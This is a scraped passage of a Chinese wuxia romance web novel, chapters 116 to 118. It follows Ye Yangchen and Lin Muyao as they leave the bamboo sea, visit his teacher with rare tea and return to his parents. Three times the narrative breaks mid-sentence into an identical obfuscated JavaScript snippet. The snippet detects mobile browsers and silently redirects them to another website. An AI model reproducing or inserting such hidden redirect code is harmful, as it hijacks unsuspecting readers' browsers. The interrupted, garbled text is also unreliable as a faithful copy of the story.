心悠无语道:“这又不是什么原则的事,只是你俩在那儿拼酒而已。而且你想想,那真的不算作弊,酒是喝下去了的,只是没醉而已。你还看不出来吗?九老伯就是想让你陪他喝酒,所以你只要喝了他就是高兴的,你又何苦一定要喝醉呢?” 叶阳晨缓缓说道:“那也不太好,我还是...不喜欢骗人,哪怕是一点点。” 看着叶阳晨执拗起来像个傻子,乐心悠欲言又止,终于垂下头去。 两人沉默片刻,叶阳晨先打破平静,“我知道你是为了我好,可是我想着也快走了,就再好好陪陪他吧。我这一走,再见你们就不知何年何月了。” 听叶阳晨这样说,乐心悠懂了他的想法,有些释然,也有些伤感。毕竟相处了这些日子,突然说到离别的话题,两人都有些难受。 乐心悠不舍道:“不能再住些日子吗?” 叶阳晨怅惘一笑,“你待在这里,自然不知外边今夕是何年。蒙古人又入侵中原了,而我是前线边关的守将,不能在外耽搁太久的。” 乐心悠怎么都没想到,原来自己深有好感的人,还是一个誓守国门的英雄。 叶阳晨转而笑道:“等我打了胜仗,就回来看你和九老伯。谢谢你心悠,我和慕瑶在的这段日子,你受累了。我很珍惜这段时光,也很珍惜你这个朋友。日后你遇到难处,可以去找我,我一定赴汤蹈火。” 乐心悠鼻子一酸,眼里已是波光潋滟,她强作笑颜,“阳晨,我可能问问你的年岁?” 叶阳晨面色一滞,然后展颜道:“那有何不可?我今年十八了。” 乐心悠难得浅笑,“那这么说我虚长你一岁,你若不嫌弃,就认了我这个姐姐吧。” “我当然愿意。姐姐在上,受弟弟一拜。” 乐心悠连忙伸手去扶,“这怎么行?快起来。” 叶阳晨站起身。 乐心悠暖声道:“那好,日后你有空,还要带着慕瑶来竹海玩,我还给你们做好吃的。” 即便没有慕瑶的存在,乐心悠也清楚自己与叶阳晨是没有缘分的。叶阳晨是不可能隐居在竹海之中的,而自己也不会离开竹海半步,她要一生守着师父的茶园,两人很难有交集。好在乐心悠是个豁达的女子,她想的明白,既然爱而不得,不如就做个朋友和亲人吧。也算在人海茫茫之中,有个感情的牵挂和寄托。 “一定的。你回吧,我去找九老伯了。” “嗯,那你慢点。” 看着叶阳晨走出了大门,乐心悠才转身回了她的卧房。 翌日晚,叶阳晨继续与九老伯喝酒。 未喝之前,九老伯也玩笑着说着伤感的话题,“唉,等你小子走了,我就寂寞了,又没人喝酒了。” 叶阳晨觉得胸口有点闷,“你岁数也大了,小酌就好,哪能一直这么喝呢?今晚我们再痛快喝一次,我今晚肯定能喝赢你。” “那好,我们放开肚皮喝,谁也不能有所保留。” “那是一定的。人生能有几回醉,共饮酒千杯。”叶阳晨把自己的酒罐子与九老伯的撞在一起。 虽然叶阳晨的年龄与九老伯差上许多,可他们投缘,就算是忘年交吧。那一刻,叶阳晨又想起自己小时候在玉狼峰学艺时,楚宗师父对自己说的话,他说人生就是要喝最烈的酒,那样才恣意快活。时至今日,叶阳晨才真正体会到楚宗师父话里的味道。 都说离别的酒容易醉,但是叶阳晨那晚特别精神,好像很怕自己醉得不省人事后,会辜负这美好时光。叶阳晨整晚吐了十二次,但是依旧不停地喝。喝得天昏地暗,喝得日月无光。 最后,还是九老伯先说道:“小晨,我看今日的酒...就喝到这里吧。再喝下去,我的存酒...就都被你小子...喝光了。” 叶阳晨喝疯了,继续仰头灌酒,“九伯伯,你认输没?认输了,我们就不喝了。” “认输?那不至于,但是你小子的酒量出师了。哈哈哈哈。”九老伯侧了个身,似是要睡觉了,只是嘴里还拉着长音说着话,“你走的时候...随你拿多少酒,只要你...搬得动。”说完这句话,九老伯就打起了呼噜声。 这一觉睡得格外香,这一老一少再醒来时已是正午。两人躺在榻上对视一眼,都笑了起来。九老伯眯着眼感慨道:“你小子还是有种,都吐成那样了,还坚持喝,真是浪费我的酒。” 叶阳晨笑中带着邪气,“老伯,败了就是败了,你不会准备赖账吧?” “放心,我才不干那种耍赖的事,你走的时候我一定让你带着酒走。” “对了,半睡半醒中,我隐隐记得慕瑶刚才来找你了,好像有事。你没醒,她就走了。” 一听慕瑶找自己,叶阳晨立即坐了起来,“老伯,走吧,我们一起去心悠那里蹭晚饭。” 来到翠烟阁,他们直接去了心悠的书房。进门后,两人见心悠与慕瑶正站在屋内东边的墙面前。慕瑶见叶阳晨和九伯进来,只是稍作停顿,就又开始讲起墙上的星图。 叶阳晨这才注意到,慕瑶把周天星座图都画好了。墙面上的每一颗星都好像被慕瑶的画笔赋予了灵气,它们在闪耀着,熠熠生辉。 九老伯目瞪口呆,眼睛盯着星图从上看到下,从左看到右,好像生怕错过什么一样。 林慕瑶介绍道:“这是我画的星座图。” 乐心悠发问道:“星座?你叫它星座,这个词语我还是第一次听说。” “这个词语不来自中土,而是来自西域。” “西域?”心悠有些诧异。 慕瑶点点头。 心悠继续问道:“这好像与我们常说的二十八星宿不太一样。” “是不一样的。二十八星宿是为观测日、月、五星运行而划分的二十八个星区,由东方青龙、西方白虎、南方朱雀、北方玄武各七宿组成。它与星座的理论体系也是不同的,两者各有千秋,各有奥妙之处。”(相关知识点来自百度) 慕瑶浅笑,“一会儿我介绍一下周天星座,你大概就知道两者的区别了。” 乐心悠盯着慕瑶点点头,表情示意她继续讲下去。 慕瑶饶有兴致地讲了起来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13369596|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她时而望着乐心悠,时而指着墙上的星图说道:“周天繁星,浩瀚宛转,令人沉醉。如果用线将这些星星相连,就会生出一幅幅梦幻的星图,我们也叫它们星座。头顶苍穹按区域划分共有88个星座,其中北天有29个星座,南天有47个星座,而南天和北天的黄道上有12个星座(部份知识点来源于百度)。 “这最重要的黄道12星座也被统称作赤天星轨,他们是88个星座中最耀眼的星。传说88个星座都有一个动人的神话故事,犹以赤天星轨的故事最为梦幻动人,传说赤天星轨中的十二天神永远守护着这个世界的正义、和平和自由。” 乐心悠被林慕瑶的讲解惊呆了,知识渊博的人总是很容易得到别人的尊敬和膜拜。乐心悠也一样欣赏慕瑶的才气,她不由得在心里感叹着:“慕瑶的才气比她的外貌更加耀目亮眼。” 接着,慕瑶依次介绍着每一个星座,她神采飞扬地说了许久,直至把88个星座都介绍完。 从前,叶阳晨甚至都不知道慕瑶懂得那么多关于星座的故事。日子越久,叶阳晨就越觉得慕瑶像一本有趣而深奥的书,她总会不经意间带给自己一些惊喜,让叶阳晨更加为她着迷。 乐心悠听林慕瑶讲的这些星座故事入了迷,久久不能回过神来。 慕瑶几日来的作品终于完成了,她很想知道心悠对这幅图是否满意,可见乐心悠看得正出神,她也不好打搅。 心悠就这样静静地欣赏着面前的图画,最终目光停留在壁画右侧的一首诗上。慕瑶为了不占据太多的位置,所以特地用比较小的篆书写着。心悠经常读古籍,自然是看得懂的。 《苍穹星语》 天平一杆量正义, 射手弯弓箭水瓶。 双鱼浅底狮子吼, 巨蟹天蝎双子行。 山羊吃草金牛耕, 处女白羊放草坪。 八八繁星曜穹宇, 黄道十二奉神明。 慕瑶见心悠盯着诗文看,她温声解释道:“我想这样更方便你记住黄道上的十二星座,遂作了这首诗。献丑了,请勿见怪。” “慕瑶莫要自谦。”心悠的脸色郑重了几分,“只是你是怎么知道那么多关于星象方面学问的呢?” 慕瑶咬了咬唇角,踌躇说道:“家师本不喜我提他老人家的名字,但是告诉心悠姐姐无妨。我师父是星云门的掌门智圣古野,他在奇门遁甲、天文九星方面的造诣颇深。我作为他的关门弟子,只学到他的一些皮毛,实在汗颜。” 叶阳晨听慕瑶这样说,是觉得稀松平常。可话音未落,九酒老伯和乐心悠都惊愕失色。 九酒老伯的眉头深深地打了个结,“你这女娃是古野的徒弟啊?” 慕瑶亮眼一笑,“九伯伯与家师相识吗?”问完这句话,慕瑶也觉得自己是多此一问,当年九老伯也是名震江湖的大人物,师父也是名满天下,他们两人认识也不奇怪。 九老伯忽然露出尴尬之色,“哦,认识...认识。不过那都是陈年旧事,不提也罢。” 慕瑶并未留心九老伯神情中的异样,随之欢愉一笑,“其实不只我是师父的徒弟,阳晨也是。” 九老伯讶异着,“小晨也是?” 一旁的乐心悠释然浅笑,笑中带着一抹动容,她像是在自言自语,“难怪!不过这样也好,这回总算遂了师父的心愿了。因果轮回,真真皆是注定的。” 慕瑶不禁一问:“心悠,你在说什么?” “哦,没什么。你们都随我来。” 众人不解,可还是随着乐心悠出了书房,朝着宅院的后门走去。 116. 第一百十六章 四人出了翠烟阁,叶阳晨见不远处的最左侧就是一大片菜地,中间种着玉米、麦子和水稻,而最右边则圈出一大片空地饲养着家畜,里面养着鸡鸭鹅,猪牛羊。 “世外桃源也不外如是。”叶阳晨感慨着,随之不禁好奇一问,“心悠,我们每天吃的饭菜就是来自这里吗?” 乐心悠轻声道:“是啊!都是我种的养的,不过总有人到我这里偷菜。” 叶阳晨先是一怔,然后玩味地看向九老伯。 九老伯眼神闪躲,“你这臭小子瞅我作甚,又不是我...拿的。” 慕瑶在一旁也抿嘴笑着。住在这个地方的除了九老伯再没有别人,不是他还能有谁。只是慕瑶也没想到,一向恬静淡然的心悠,也会有俏皮可爱的一面。 四人穿过菜地,沿着蜿蜒的小路缓缓走上去,少时就来到山坡上。再走上一盏茶的功夫,一大片茶园出现在叶阳晨与林慕瑶眼前,那随风而来的茶香淡雅细腻,令人闻之心醉。 叶阳晨惊讶问道:“这些都是碧微沧澜吗?” 九老伯摸着胡须道:“可不是,这些都是心悠的宝贝。” 提起茶,心悠来了兴致,主动为叶阳晨和林慕瑶讲述着:“下关竹海这里之所以能长出碧微沧澜这样的绝世好茶,得益于竹海里的温度适宜,雨量充沛,还有就是这里的土壤养分极高。这样好的自然条件,华夏之地莫出其右。” 林慕瑶和叶阳晨听后都连连点头,心悠继续在前面带路,四人继续在茶园里闲逛着。 慕瑶有些兴奋,用手指着远处,“阳晨,你看那儿,还有那儿,果真世间有大美,山水生生不息,这里也不错。” 叶阳晨认同地点点头,“这里是不错,有山有水有生活。” 不知什么时候,心悠的手里多了一个精致小巧的竹篮子。她边走边采摘着茶叶,时不时还要将鼻子凑近,闻闻青绿色茶叶的嫩芽。 看着心悠挽着竹篮莲步盈盈地走在茶树间,慕瑶觉得那别有一番自然之美。 少顷,心悠采了三个竹篮的茶,她对慕瑶说道:“妹妹,并非我不舍得多送你点茶,只是这碧微沧澜稍放久一点,茶的味道就完全变了,口感也就不好了,所以不能给你多带。你回去后也要让家人尽快喝才行,若你喝得好,下次你再来竹海,我再送你新的。” “谢谢心悠姐,我和阳晨会找机会再来的。”给阳晨父母和师父的礼物准备好了,慕瑶很开心,总算不虚此行。 叶阳晨和林慕瑶决定后日启程离开竹海,连续两个晚上,心悠都下厨做了许多好菜,算是给叶阳晨践行。慕瑶也下厨房给心悠打下手,至少也出份力。 第三日一早,叶阳晨背了一罐子酒,提了两竹篮茶,与慕瑶离开了翠烟阁。九老伯与乐心悠送了他们一程,直至行完水路,叶阳晨他们要上岸了,四人才作别。 乐心悠沉静温和道:“阳晨、慕瑶,我还有一件事相求,希望你们两人务必答应。” 叶阳晨与林慕瑶异口同声道:“你尽管说,不要客气。” “你们出去后,莫要与第三人提起这里的事,也不可告诉任何人我住在这里。我不喜欢有人来破坏这份安静,拜托了。” 慕瑶表情郑重,“心悠姐,你放心吧,小妹与至亲都不会去说。” 心悠浅笑,“我相信你们,只是少不了还是要叮嘱一句,勿怪。” 心悠的话算是提醒了九老伯,他插话道:“小晨、慕瑶,我也拜托你们不要告诉古野我在这里啊,就当我这个酒鬼早就死了。” 叶阳晨不解道:“九伯伯,怎么你说得好像与我师父有仇似的,他不会真是你的仇人吧?” “仇人呢倒算不上,但是敌人还算是的。不过呢,这都是近二十年前的恩怨了,与你们这些晚辈没关的,你也不要多问了。” 叶阳晨只好答应道:“九伯,我记下了,我不说就是。” 叶阳晨牵着慕瑶的手上了岸,回头与九伯和心悠挥手告别。毕竟像一家人一样相处了这些日子,不舍再所难免,但天下没有不散的筵席,叶阳晨与林慕瑶消失在竹林里。 走着走着,慕瑶突然问道:“阳晨,你说如果你没遇到我,会娶个什么样的女孩为妻呢?” 叶阳晨随口道:“这我不知道,但肯定是我爹娘做主,多半都会是武学世家的女孩。” “连心悠都倾心你这个坏家伙,我从前怎么就没发现你还是香饽饽呢?” “现在发现了吧?怎么?有危机感了吗?”叶阳晨玩笑道。 “没有什么危机感。” 叶阳晨掐了一下慕瑶的脸蛋,“还不承认。放心吧,心在你那儿呢,谁也偷不去。” 慕瑶回味着阳晨的话,脚步慢了些,望着自己爱人的背影,心中溢满了蜜一般的甜。说真的,慕瑶是有一点点危机感的,也是第一次有这种感觉,好在叶阳晨是个专情的人,她才如此安心。时至今日,林慕瑶不得不承认心上人的优秀,她相信多数女孩子都会同自己一样倾慕于他的风采。 两人走出了竹海,不再游山玩水,而是加快赶回泽清山。 离泽清山越来越近,叶阳晨也开始心事重重,慕瑶看在眼里,担心问道:“阳晨,你还在想你的身世吗?” 叶阳晨没想到慕瑶竟然这么了解自己,一句话就能猜到自己想什么。 慕瑶继续问道:“你在纠结回泽清山后该不该向爹娘问自己的身世,对吗?” 叶阳晨眉头微皱,嘴里轻叹着气。 慕瑶笑着安慰:“如果你真的有什么想问,尽管问就是了,无论他们与你是否有血缘关系,他们爱你的心是不会变的。” “这我知道,只是我怕我问出来说出来的话,他们还是会有心结。其实我只是想知道的多一些,但无论真相是什么,我爱他们的心是不会有一丝改变的。” “世间万事,随心而已。”说完,慕瑶俏皮一笑,“你当初抢我上山的时候,也没见你这么纠结过啊!” “你这人还真记仇,总提小时候的事,看来我得罪你的事,你要记上一辈子了。” “我就记着。” 叶阳晨语气如常道:“抢你上山是我此生做的最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387388|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不需要犹豫的事。” 慕瑶翻了个漂亮的白眼,柔声道:“坏蛋。” 没到泽清山的时候,叶阳晨还在纠结是否要找爹娘问清楚他们是在什么样的情形下收养了自己。可真走进泽清山的地界,叶阳晨突然释然了,也就什么都不想问了,而那些心中疑问他也不好奇了。因为问不问,他都认为自己永远是叶阳天和唐露的儿子,可话一问出口,叶阳晨真怕父母多心多想,怕叶阳天以为自己很在意身世,更怕自己的无心之问伤了唐露的心。 叶阳晨比谁都清楚,在叶阳天的心里,他一直比父亲的两个亲生孩子都重要,唐露和夏薇对他的爱也总是比清扬和芷萱多。 叶阳晨想起小时候,无论有什么好东西,叶阳天总是先给自己。自己无论闯了多大的祸犯了多大的错,唐露从不责备自己。自己想做任何事,夏薇也总是尽全力支持自己。儿时一幕幕,欢声笑语,记忆犹新。 自小,叶阳晨就有崇拜英雄的情结,当他得知亲生父亲是个忧国忘身的大英雄时,他也感到荣耀万丈,他也着实很敬佩卫忠海的高洁人品和家国情怀。可血浓于水的亲情终究抵不过养育恩重、寸草春晖。 进了泽清山后,叶阳晨依旧没有立即回家,而是先去了玉琼潭。而且这次难得带了慕瑶回来,他更要把自己的妻子领去给恩师见见。当初叶阳晨结婚的时候,仁渊那时还没有搬来泽清山居住,所以这也是仁渊师父第一次见慕瑶。 来到玉琼潭的竹屋,叶阳晨用力敲门喊道:“师娘,开门啊,是我回来了。” 此时,仁渊正在边看书,边和自己下棋,黄氏坐在他不远处做着针线话。 突然听到外边有敲门声,又有人叫自己师娘,黄氏喜上眉梢,“渊哥,是小晨,是小晨回来了。” 仁渊的眼睛也跟着突然一亮,随即迅速板起脸,“这孩子还是那么不知稳重,大呼小叫的。” 黄氏笑着翻了个白眼,然后起身快步走出竹屋,她是不舍得让叶阳晨多等一分一秒。 院门打开的一瞬间,叶阳晨连忙攥住黄氏的手,“师娘……” 黄氏的目光霎时停在了慕瑶的身上,温声问道:“这位姑娘是……” 叶阳晨兴奋且得意,“师娘,这是徒弟媳妇慕瑶啊。” 听叶阳晨这么介绍自己,慕瑶含羞浅笑。她连忙福身一礼,轻声娇语,“师娘好,慕瑶见过师娘。”慕瑶相信叶阳晨一定和黄师母提过自己的,索性就不啰嗦地介绍自己了。 果然,黄氏一听便喜笑颜开地将慕瑶扶起来,“哦,慕瑶啊,你看我真是老糊涂了,竟一时没想起来。师娘一直没机会见到你,这次总算见到了。你长得可真乖,怪不得小晨那么宝贝你。” 听师母那样说,慕瑶娇羞地笑了笑。 黄氏宠爱地望着慕瑶,边说边牵住慕瑶的手往院子里面领,“快别站在这儿了,我们进屋说话。” 走进屋子,黄氏笑道:“渊哥,你看谁来了?” 仁渊右手拿起一颗棋子正准备落下,“回来就回来嘛。”他还以为叶阳晨是自己一个人回来的。 117. 第一百十七章 未等黄氏再说话,叶阳晨已经跪拜行礼,“师父在上,请受徒儿一拜。” 慕瑶见状也跟着叶阳晨一同跪下,“慕瑶祝师父福寿安康。” 仁渊听到是女孩的声音,这才抬眼望过去。慕瑶这个名字仁渊很熟悉,他放下书和棋子,上前虚扶道:“哦,孩子,快起来。” 叶阳晨还没见过自己的师父对谁这么热情过,惊讶之余替慕瑶开心。他心情一好,便跟着师父开起玩笑,“师父,你见到慕瑶脸色就好看了许多,为何见到我总绷着脸啊?” “因为你欠揍。”仁渊说话一点都不留情面,好在叶阳晨这些年也都习惯了。 仁渊见慕瑶一副端庄清雅的样子,心中对她的印象极佳。常说腹有诗书气自华,仁渊仅瞥了慕瑶一眼,便知这女孩柳絮才高。 仁渊转而看向叶阳晨,原本温和些的神色又冷下来,“小晨,你是怎么把慕瑶骗倒手的?” 叶阳晨咧嘴一笑,“师父,徒儿真心换真心,没有骗。” 听叶阳晨那么说,慕瑶瞪了他一眼。 仁渊挑眉,“真心换真心?你小子脸皮还真厚。不过你还真有福气,也不知人家女孩看上你什么了。” 叶阳晨挠挠头,试探一问:“师父,我也没有那么差吧?”叶阳晨就是个混世魔王的性子,偏偏在仁渊面前一点都没有脾气。 仁渊哼了一声,“你就像个脱缰野马似的,总是静不下来,教你这个徒弟能累死。你看人家慕瑶,多么恬静优雅、温婉端庄。” 看着叶阳晨与师父之间这样聊天,看到叶阳晨对恩师那么恭敬孝顺,慕瑶心里有点感动。 很多年前,叶阳晨给慕瑶的印象就是粗鲁、冷漠、傲慢、张扬。后来慕瑶才发现,叶阳晨在与父母、兄弟、朋友相处时,会处处充满温暖和情义,也是从那时起,慕瑶才发现叶阳晨的本心并不坏,从那时起她对叶阳晨的坏印象开始改观,而后发展为一种欣赏和崇拜。再后来,慕瑶在叶阳晨的眼睛里看到了那束只属于自己的光。 慕瑶对仁渊心存感激,她又一躬身,“师父,这些年来,阳晨幸有你教导,这才知事明理,上进求学,慕瑶对你敬佩感激。” 仁渊脸上罕见露出一丝笑容,“他啊,这些年被规矩得总算有点正经模样了,至少有了点理想。” 说着,仁渊突然盯着叶阳晨,“对了,你不好好在楚州守城,这么急着跑回来干什么?” 仁渊虽在深山之中,却一直关心着徒儿的动向。当时他听说了叶阳晨解京城之围的消息,几天都喜不自胜。但仁渊性格使然,他从不喜欢当面表扬自己的徒弟。 叶阳晨暂时还不想提自己身世的事,因为那样说来话长,于是他随口说了句,“想家了,就回来看看。” “瞧你多有出息。” 叶阳晨恭敬解释道:“师父,我就在家待两天就赶回楚州去,不会耽搁太久的。后面我还会打回北都,收复河山。” 仁渊冷着脸,“勿信口开河,功成再言未晚。你要记住,临患不忘国,是为忠也。” 叶阳晨语气温和,“师父教训得是,徒儿记下了。” 师母黄氏把一盘茶点拿过来,先拿了一块给慕瑶,然后递到叶阳晨面前,“小晨,不要理你师父,你每次回来他都要啰嗦你。好像不训你几句,他就过不了自己那一关。你快吃点糕点,看你走的这段日子,人都瘦了一圈。” 叶阳晨最爱吃师母做的点心,然后孩子气般地吃了起来。 过了一会儿,黄氏站起来,“你们先说话,我去准备飧食。” 慕瑶跟过去,“师母,我与你同去。” “不用了,你走了这么久的山路,还是坐着休息为好。” 叶阳晨咧嘴笑着,“师娘,你就让慕瑶陪着你吧,否则她待在这里也不安心的。” 黄氏假愠,“你这孩子,一点都不知道心疼媳妇。”说完,黄师母出了客厅,去了后院的厨房,慕瑶安静地跟随在她的身后。 慕瑶平日从不做家务杂事,为防添乱,她也只能帮着黄氏打打下手。 黄氏见慕瑶做事不是十分熟练,身上又自带的高贵气质,不禁一问:“在家不做这些吧?” 慕瑶娇声娇语,“嗯,几乎不做的,不过既然嫁给了阳晨,总要学着做的。” “为什么啊?” “过阵子我要跟阳晨一起去楚州,以后在军营里,我也要照顾他的。什么都不会做怎么行呢?”慕瑶不单是说说而已,她特别认真学习着做菜的技巧和方法。两人做饭的过程中,凡是听黄师母说哪道菜是叶阳晨爱吃的,慕瑶都会特别地默默牢记在心,她想学会了以后做给叶阳晨吃。 黄氏关心道:“你一个女孩住军营会不会不习惯?” 慕瑶边弄着饭边浅浅一笑,“没关系,我要陪着他,我不怕吃苦的。” 黄氏笑着点头,“真是乖孩子,阳晨娶了你真是他的福气。”见慕瑶生在富埒陶白之家,竟没有一丝娇生惯养,黄氏特别替叶阳晨开心。 听师母夸赞自己,慕瑶垂下眉眼,有些不好意思起来。 “如果将来那个臭小子欺负你,你一定告诉师娘,我让他师父修理他。小晨最怕他师父了。” 慕瑶脸上蒙上一层红润,声音无比轻柔,“师娘,阳晨他没有欺负我的。” 黄氏语气平和下来,“小晨就是顽皮贪玩了些,像个永远长不大的孩子。但他心性好,待人也真诚。你别看我那老头子总骂他,但最疼小晨的也是他。在师娘眼里,任何孩子都不如小晨,他将来定会善待你的。” 慕瑶羞着脸点头,“师娘,我知道的。” 因为今天有慕瑶的缘故,黄师母做了很多拿手菜。 晚上吃饭的时候,慕瑶一直给黄氏夹菜,“师娘,您今天受累了,您多吃点。” 慕瑶的懂事被仁渊看在眼里,他转而看向叶阳晨,与慕瑶的举止优雅不同,叶阳晨吃得狼吞虎咽的。 仁渊早就习惯徒弟这难看的吃相了,他说了那么多年,叶阳晨还是没有改变。如果是往常,仁渊肯定又免不了斥责叶阳晨几句。可现在叶阳晨难得回来一次,仁渊也就舍不得因为吃饭的小事再责骂他了。仁渊微微皱眉,“小晨,你不要只顾着自己吃,也要给慕瑶夹菜啊。” 叶阳晨嘴里含着饭菜愣在那里,随即他立刻拿起竹箸往慕瑶的碗里夹了好多菜。 慕瑶秋波盈盈地望着叶阳晨,眼神里还有几分羞涩,“你吃吧,我自己可以的。” 吃过晚饭,叶阳晨和林慕瑶准备的“重头戏”来了。叶阳晨一脸喜色,“师娘,这次我给您和师父带了好茶来。” 黄师母因笑道:“小晨,之前你给你师父送来的茶家里还有好多呢,怎么又带了茶来?” 叶阳晨神秘一笑,“师娘,这个茶可同之前所有的茶都不一样。” 仁渊冷着脸问道:“能有什么不一样?” “师父,我先卖个关子,过会儿您就知道了。您先休息一会儿,我与慕瑶这就去给您和师母泡茶。” “臭小子,还给我故弄玄虚。” 黄氏站起身,“小晨,还是我去吧?” 慕瑶拦着道:“师娘,还是我们去吧。” 按照心悠教的泡茶方法,少时,慕瑶将一壶好茶端了上来。茶香从壶嘴飘出来,大家已能闻到一丝丝馥郁香气。 黄师母忍不住先开口问道:“小晨,这茶香怎么这么浓醇啊?” 叶阳晨神秘道:“师父、师娘,一会儿你们就发现这是绝世好茶了。你们一定要好好品尝这个茶,它可是慕瑶为了孝敬你们花了好大功夫才找朋友要来的。” 黄师母慈爱一笑,“我知道你们孝顺,可下次还是别这么费事了。” 慕瑶有点害羞,“师父师娘,别听阳晨夸大,没有费什么事的。”说着,她亲自为师父师母倒了两碗茶。 茶倒出来的那一刹那,茶香渐渐弥漫屋中。 叶阳晨一直盯着师父,他特别想看看他老人家一会儿品 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462816|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了第一口茶后是什么反应。 仁渊缓缓端起茶碗,用碗盖是在碗中轻轻划了三下,然后抿嘴尝了一口,顿时那淡雅清香在唇齿间飘溢,随即香气扩散,回甘生津,真真令人陶醉。 仁渊以为那是自己的错觉,又忍不住地尝了一口,这回他的眼睛陡然瞪大,一副不可置信的样子。 叶阳晨看得出来师父饮得高兴,他的心里也跟着满足、喜悦和得意,自己与慕瑶去竹海这一趟总算没有白费。 一向稳重且不苟言笑的仁渊也不淡定起来,“小晨,这茶怎么这么好喝?” “好喝吧?徒儿没骗你吧?” “臭小子,你说不说?非要我给你三戒尺?” 慕瑶在一旁温声道:“师父,这茶是碧微沧澜。” “碧微沧澜?”仁渊一脸惊讶看向叶阳晨,“这是正品?” “不能再正了,徒儿确定这是真货。” 仁渊知道自己的徒弟总是有办法的,便没有再问下去。 慕瑶和叶阳晨在玉琼潭住了两个晚上,叶阳晨白天陪师父下棋,慕瑶就陪着师母去侍弄那些花草。 第三天,叶阳晨与慕瑶离开了玉琼潭。临别之时,仁渊第一次把叶阳晨送到门外。叶阳晨觉得奇怪,往常走的时候,都只是黄师母一个人把自己送出来,他从未见师父有这么温情的一面。 更让叶阳晨意外的是,仁渊不仅送他出来,还叮嘱道:“战场刀箭无眼,不要有勇无谋。” 叶阳晨看得出来师父是在关心他,尽管师父说的话略含蓄,尽管语气还那么生硬,但他还是很知足,一时幸福得不要不要的。甚至有那么一瞬,叶阳晨鼻子一酸,差点就没有忍住感动的情绪。 叶阳晨怕师父尴尬,自我调侃着:“师父,我跑得快,刀箭都追不上我。” 黄氏拍了叶阳晨的肩膀一下,“你师父的话你要记住,不要逞强。” “好的师母。” 黄氏笑着看向慕瑶,“小瑶,以后有机会再回来啊!” “对,你要经常回来玩啊。”仁渊在一旁附和着。 慕瑶冲着仁渊点头应是,然后上前抱住了黄氏,“师母,您和师父都要多保重身体,一得空我就和阳晨回来看您和师父。” 两个老人目送叶阳晨和林慕瑶走远才回了屋子。 黄氏抹了抹眼角,嘴里感慨着:“还是前些年小晨在这儿学习的时候比较好,每天我们都在一起。现在小晨回来一次太不容易了,想见一面也难了。” “妇人就是啰嗦。”仁渊知道妻子是经常想念惦记小晨的,他自己又何尝不是。 黄氏抱怨着:“你这个人啊,每次小晨回来,你都说教个不停。那天人家刚回来,水也没喝上半口,你就绷着脸训他。” “那小子性子太野了,不经常管着他点,他都飞到天上去的。” 黄氏不服气,“小晨那不是野,那是热情。你不要觉得人家这些年取得的成绩都是你悉心教导和辛勤付出的结果,人家小晨自己也努力啊。小晨那孩子心地纯善,腹藏锦绣,即使没有你,他成大器也是迟早的事的。” “妇人之见,他毛毛躁躁的,根本就不是个做学问的料。不让他多静心养性,是很容易走偏了路的。” 黄氏笑着翻了个白眼,“我才不和你争论,你这人总是有理的。” 仁渊知道妻子是因为徒儿离开了突然一下不适应,心情不好才略埋怨自己,他也只好闭口不言顺着妻子。 其实仁渊也不想总对徒儿板个脸,只是爱之深,责之切罢了。在仁渊心里,他很欣慰自己当初收下了这个徒弟,他更为徒儿这些年取得的每一份成就感到骄傲,但他仍希望自己的徒弟能飞得更高,走得更远。 午夜梦回,仁渊也曾经常想起自己年轻时渴望报效国家,匡扶天下的理想,只是后来不忿时局黑暗,官场险恶,他才不得不辞官归隐。不过经年过去,拳拳爱国之愿未改,殷殷赤子之心犹在,他没想到这个心愿,叶阳晨帮他实现了。 118. 第一百十八章 叶阳晨到了长风寨后,立即带着慕瑶去见了自己的父母。来到叶阳天住的院子,叶寨主坐在大厅上首的太师椅上,地位尊贵,大娘二娘分坐两旁。 叶阳晨拉着慕瑶跪下行礼,“爹娘,孩儿回来了。” 未等叶阳晨把话说完,叶阳天先开口道:“小晨,跪在你身边的是谁家的小姐啊?”几年没见,慕瑶的个子比小的时候高了许多,再加上女大十八变,远远地看过去,叶阳天竟没有认出慕瑶来。 没等叶阳晨说话,二娘夏薇抢话道:“当家的,这是慕瑶啊!你的儿媳妇你你都认不出来了?” 大娘唐露也接过话来,“是慕瑶的,只是几年未见,已完全是大姑娘的模样了,越发清雅娇美的。” 听两位夫人这样说,叶阳天又仔细瞧了瞧,这才仰头大笑,“儿啊,我还以为你换了喜欢的人呢!” 见叶阳天没有认出自己,慕瑶竟先生出一丝愧疚来。想来自己这个“货真价实”的儿媳妇,竟然离开泽清山后,就再也没来探望过叶阳晨的父母,这也是真的不孝。 少顷,林慕瑶回过味来,侧头看向叶阳晨,轻咬嘴唇低声道:“你会喜欢上别人吗?” 